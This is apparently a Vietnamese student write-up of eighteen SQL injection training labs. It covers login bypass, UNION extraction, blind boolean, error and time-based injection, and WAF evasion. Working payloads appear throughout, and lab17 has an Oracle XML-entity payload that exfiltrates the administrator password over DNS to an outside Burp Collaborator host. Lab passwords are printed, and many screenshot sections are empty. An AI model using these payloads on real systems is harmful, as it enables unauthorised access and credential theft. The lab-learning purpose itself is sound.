# Writeup SQLi lab
## lab1

Description đã cho biết cách ứng dụng thực hiện truy vấn. Để hiển thị tất các các sản phẩm bao gồm cả unrelease, chèn thêm `' or 1=1--`

## lab2

cần đăng nhập được vào user administrator, thông thường truy vấn sẽ có dạng
`SELECT * FROM user where username = $username and password = $password`. Để bypass có thể nhập `administrator' --` để chuyển phần so sánh password thành comment. Hoặc cũng có thể inject vào phần password, tuy nhiên cách này chỉ hoạt động khi db lưu mật khẩu ở dạng plaintext. Nếu mật khẩu lưu ở dạng hash, thì payload được chèn ở password cũng sẽ được hash khi đăng nhập. Tiếp đến, điều kiện `username = $username and password = $password` lúc này đã fail do sai mật khẩu và username, để chèn thêm một điều kiện thứ 2 trả về true ta cần đoán được tên cột lưu giá trị username.
`WHERE username = 'xx' AND password = 'yy' or username = 'administrator'`
## lab3


Query sẽ có dạng tương tự như sau
```sql=
SELECT * FROM someTable WHERE category=<CATEGORY>
```
Description có nói có thể sử dụng UNION để giải lab này. Để sử dụng đc UNION, cần tìm được số cột của bảng, và các cột chứa text. 2 phần này có trong 2 lab khác nên mình sẽ không nói chi tiết. Tuy nhiên tìm được số cột là 2, và cả 2 cột đều có chứa data string. Inject `' UNION SELECT 'a',banner FROM v$version-- để lấy thông tin phiên bản với truy vấn sau:`SELECT * FROM someTable WHERE category='Pets' UNION SELECT 'a',banner FROM v$version--'`
Kết quả trả về

## lab4

Tương tự lab3: Tìm số cột -> tìm các cột chứa text->Inject SQL query
Tìm được 2 cột, và cả 2 cột đều chứa string
inject `' UNION SELECT 'a',@@version#` để lấy được phiên bản db với query
`SELECT * FROM someTable WHERE category='Pets' UNION SELECT 'a',@@version#'`

## lab5

Bước đầu tiên vẫn là tìm số cột và các cột chứa text của bảng. Bước tiếp theo là thử các payload lấy version của các kiểu database để lấy thông tin về version và kiểu db.(https://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet)

=> DB dùng Postgres
truy xuất tên cơ sở dữ liệu hiện tại

Truy xuất tên các table


Có được tên tables chứa user
Enumerate colums:

có 3 colums

Enumerate usernames and passwords:


Lấy được tài khoản và mật khẩu của administrator

login thành công
## lab6

Đầu tiên cần tìm số cột, các cột chứa string.


=> có 2 cột, cả 2 đều chứa text
**list all table**


bảng user


lấy được mật khẩu và tài khoản của admin

## lab7

Khi sử dụng UNION các table trả về phải có cùng số cột, nếu không truy vấn sẽ bị lỗi. Vì vậy bước đầu tiên khi tấn công SQLi có sử dụng UNION là phải xác định số cột trả về của câu truy vấn thực hiện phía trước mà ta chèn vào(lab8). Sau khi đã xác định được số cột, cần xác định kiểu dữ liệu trả về của các cột xem cột nào chứa dữ liệu có kiểu string.

Đầu tiên cần xác định xem có bao nhiêu cột được trả về khi truy vấn category bình thường.

Như vậy là có 3 cột



lần lượt thay string vào các vị trí NULL.

Khi thay string vào cột thứ 2, có kết quả trả về => cột 2 chứa kiểu dữ liệu string.
## lab8

Xác định số cột được trả về bởi query.

### xác định số cột bằng UNION SELECT
Trong UNION, tập kết quả cần chứa cùng số cột. Việc chèn `' UNION (SELECT null)--` sẽ gây ra lỗi máy chủ.
`SELECT * FROM someTable WHERE category = 'Accessories' UNION (select null)--'`
Lặp lại việc chèn nhiều lần, thêm null với mỗi lần tấn công đến khi không có lỗi máy chủ trả về. Tìm được số cột với query
`SELECT * FROM someTable WHERE category = 'Accessories' UNION (select null, null, null)--'`

### Xác định số cột bằng ORDER BY
Chèn ' ORDER BY 1-- sẽ sắp xếp kết quả theo cột đầu tiên của kết quả. Việc tăng giá trị sẽ dẫn đến lỗi máy chủ khi sử dụng ' ORDER BY 4-- vì cơ sở dữ liệu được hướng dẫn sắp xếp theo một cột không tồn tại.


## lab9

Trước tiên cần tìm số cột trả về của query, tìm được số cột là và cả 2 đều chưa string. Dump table `users` để lấy username và password.

## lab10

Bước đầu vẫn là tìm số cột trả về của query, sau đó tìm các cột chứa string. Có 2 cột được trả về, chỉ một cột chứa string.


Nếu dùng cách này, vẫn có được mật khẩu và user. Tuy nhiên không biết mật khẩu nào tương ứng với user nào. Với số lượng ít có thể thử, tuy nhiên với số lượng user lớn thì rất mất thời gian. Cần tìm cách để truy xuất cả username và password trong một query. Để làm vậy có thể sử dụng các phép nối chuỗi của database. Vậy nên đầu tiên cần tìm loại db được trang web sử dụng do mỗi db có syntax concat khác nhau. Thử các truy vấn theo cheatsheet lấy được version của db.

PostgreSQL

dump user table sử dụng concat


## lab11


cookie `TrackingId` được sử dụng, truy vấn tìm trong db, nếu tồn tại thì khi vào trang web sẽ có thêm một dòng `welcome back!`
Truy vấn trong trường hợp này sẽ có dạng
`SELECT trackingId FROM someTable WHERE trackingId = '<COOKIE-VALUE>'`
Không thể biết truy vấn được thực hiện có kết quả trả về như nào, tuy nhiên ta vẫn có thể chèn truy vấn để xác định điều kiện đúng hoặc sai thông quá thông báo `welcome back!`
Thử với Cookie TrackingId, xác định có thể SQLi tại cookie này. ví dụ sẽ trả về `welcome back!`
`SELECT trackingId FROM someTable WHERE trackingId = '<COOKIE-VALUE>' and 1=1--'`
Không trả về `welcome back!`
`SELECT trackingId FROM someTable WHERE trackingId = '<COOKIE-VALUE>' and 1=2--'`
Phần mô tả đã cho biết tên table, column. Tuy nhiên trong trường hợp thực tế, cần đoán tên của các trường này. Có thể sử dụng dictionary hoặc bruteforce.
Để kiểm tra tên table, tên cột, ta có thể truy vấn như sau:
```SQL=
' and (select 'x' from users LIMIT 1)='x'--
```
```SQL=
' and (select 'x' from usersX LIMIT 1)='x'--
```
Nếu trường hợp đầu tiên trả về message `welcome back`, trường hợp thứ 2 ko trả về => có table users.
Tương tự kiểm tra column
```SQL=
' and (select username from users where username='administrator')='administrator'--
```
Có thể thay administrator bằng 1 username khác đã biết. Để kiểm tra trường hợp phủ định, sửa tên cột.
Với password do rất khó để đoán được password của 1 user nên có thể dùng cách như sao
```SQL=
' and (SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA != ‘mysql’ AND TABLE_NAME = 'ten_bang' AND WHERE COLUMN_NAME= 'password')='password'--
```
### enum user and password
Sau khi confirm cột username và password, enum username và password. Để lấy được username, có thể bruteforce, dùng dictionary với cách kiểm tra tên cột username ở trên. Với password đầu tiên tìm length của pass:
```SQL
' and (select username from users where username='administrator' and LENGTH(password)=1)='administrator'--
```
Sử dụng intruder của burpsuite để thay các giá trị từ 1 rồi tăng dần

=> Password có length 20.
Trích xuất bit của từng byte password. 20*8 = 160 request
```SQL
' and (SELECT ORD(SUBSTR(BINARY(("HELOO")), 1, 1))&8 from users where username='administrator')=8 --
```
qua test thử thì query này ko hoạt động, nên thử vs syntax của Postgres thì work.

dùng intruder để trích xuất tất cả các bit. Payload:

position 1 để number từ 1 đến 20. Position 2 để từ 1 đến 128 như sau

kết quả

có welcome sẽ là bit 1



## lab12

Lab này đã không còn message "welcome back!", thay vào đó sẽ là error message. Cheatsheet:
| Column 1 | Column 2 |
| -------- | -------- |
| Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual |
|Microsoft| SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END|
|PostgreSQL|1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)|
|MySQL|SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')|
chúng ta không thể thấy bất kỳ kết quả nào của truy vấn cũng như bất kỳ sự khác biệt nào về đầu ra dựa trên giá trị của một số điều kiện. Tuy nhiên, nếu chúng ta có thể tạo các yêu cầu gây ra (hoặc không gây ra) lỗi cơ sở dữ liệu dựa trên điều kiện mà chúng ta đưa vào, thì chúng ta có thể suy ra giá trị dựa trên thực tế là lỗi có được hiển thị hay không.
Sử dụng cheatsheet và thử tại các cookie TrackingId và session, xác định được server sử dụng oracle và lỗi sqli khi truy vấn cookie TrackingId. Để kiểm tra conditional errors, tạo một truy vấn với điều kiện là false thì sẽ không bị lỗi. Ngược lại sẽ dẫn đến lỗi.


Nếu để điều kiện đúng sẽ in ra lỗi, có thể gây nhầm lẫn bởi khi lỗi syntax query cũng sẽ in ra lỗi.
### Confirm database table and columns


=> có table users


=> có column username


=> có column password
### Confirm user tồn tại trong database


=> tồn tại user administrator
### Tìm chiều dài của mật khẩu

position1 có payload là number từ 1 đến 100

=> password có length 20
### extract password

payload



## lab13

web sử dụng cookie giống các lab trước. Thử thêm dấu ' vào sau giá trị cookie liền xuất hiện lỗi

=> thông báo lỗi cho thấy chúng ta có thể inject query thông qua cookie

Thử truy vấn ko có from dual => ko phải oracle
### Confirm database table and columns


Trường hợp chưa biết tên table, bruteforce hoặc dùng dictionary rồi grep theo message lỗi có chưa từ "does not exist"

biết luôn tên cột username
Test thử thì web còn giới hạn độ dài nhận vào của cookie ở phía server


=> cột password
### extract user:pass

test với cheatsheet để tìm payload phù hợp.

có thể xóa bớt TrackingId để payload chèn vào được dài hơn.


bài khá xàm. Nếu như admin ko ở đầu list của danh sách thì không thể lấy được do payload bị giới hạn length. mình phải đi tham khảo solution.
## lab14

Thử tất cả payload có trong cheatsheet
Điều quan trọng là truy vấn phải vẫn hợp lệ, vì nếu nó xảy ra lỗi, chúng ta sẽ không nhận được bất kỳ dấu hiệu nào về nó và có thể cho rằng việc chèn không thành công, trong khi trên thực tế, truy vấn chưa bao giờ được thực thi.

## lab 15

Thử payload theo cheatsheet để tìm loại db mà trang web sử dụng. Payload thành công là `TrackingId=QBgSTobWY9Q4IGzA'||(SELECT pg_sleep(10))||'`
=> PostgreSQL

### confirm table and column

=> confirm table

=> confirm column
### enum username
chạy với dictionary hoặc bruteforce

### extract password

position 1 để payload là numberlist

payload 20 có respone time là 20
=> password length là 20

kiểm tra từng byte của mật khẩu, position1 để 1->20, position2 để character set.

720 request => nhiều hơn so với lấy từng bit
mật khẩu: yypem85t1uy6rf23jfjn

## lab 16

Sử dụng chức năng Burp Collaborator theo hướng dẫn của lab.
owo5rx6t6kt5v7a74pgp2ziuklqce62v.oastify.com
Thử tất cả payload trong cheatsheet để tìm db engine đc sử dụng bởi trang web



## lab17

Bước đầu xác định db engine được sử dụng, thử tất cả các payload của cheatsheet.
```sql!
'||(SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://5symne2a21pmro6o06c6ygebg2muaryg.oastify.com/"> %remote;]>'),'/l') FROM dual)||'
```

=> oracle
### DNS lookup with data exfiltration
payload của oracle có dạng
```sql!
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
```
Các bước liệt kê db, table, column mình sẽ không nói lại.
payload:
```sql!
'||(SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.jk70fsuoufh0j2y2sk4kqu6p8ge92zqo.oastify.com/"> %remote;]>'),'/l') FROM dual)||'
```

=> pass: `8q5y3v6mv5t9ppwor88q`

## lab 18

Description nói là có lỗi trong chức năng stock check, khi dùng thử thì request có dạng như sau:

Khi thử inject query thì bị web chặn 
Gợi ý của bài có nói, trang web sử dụng WAF để detect malicious query. Để bypass WAF cần obfuscate query. Sử dụng extension hackvertor để mã hoá XML bypass WAF
Trong XML có một số kí tự là syntax của XML nên ko thể được dùng, mà phải viết dưới dạng Character Entities ví dụ:

Mình sẻ chuyển đổi payload sang dạng này để bypass WAF. Test thử inject:

Có tổng cộng 3 cửa hàng với product này. Khi chèn vào productId

Trả về 3 row và 1 row NULL => Truy vấn sẽ có dạng
```sql!
SELECT units FROM Product WHERE ProductId = 1 and storeId = 1;
```

có một cột được trả về chứa string. Vì mình test select mà ko cần dual nên đây ko phải db oracle.




Bảng product


có vẻ mình đã đoán đúng cách trang web truy vấn :3
### get admin account

